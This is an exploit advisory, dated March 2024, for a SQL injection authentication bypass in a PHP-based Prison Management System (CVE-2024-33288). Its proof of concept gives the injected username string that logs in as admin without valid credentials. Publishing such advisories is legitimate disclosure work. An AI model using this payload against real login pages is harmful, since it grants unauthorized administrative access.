Prison Management System Using PHP SQL Injection

`# Exploit : Prison Management System Using PHP -SQL Injection Authentication Bypass  
# Date: 15/03/2024  
# Exploit Author: Sanjay Singh  
# Vendor Homepage: https://www.sourcecodester.com  
# Software Link:https://www.sourcecodester.com/sql/17287/prison-management-system.html  
# Tested on: Windows ,XAMPP  
# CVE : CVE-2024-33288  
  
  
# Proof of Concept:  
Step 1-Visit http://localhost/prison/  
Step 2 - Click on Admin Dashboard button and redirect on login page.  
Step 3– Enter username as admin' or '1'='1 and password as 123456  
Step 4 – Click sing In and now you will be logged in as admin.  
  
  
`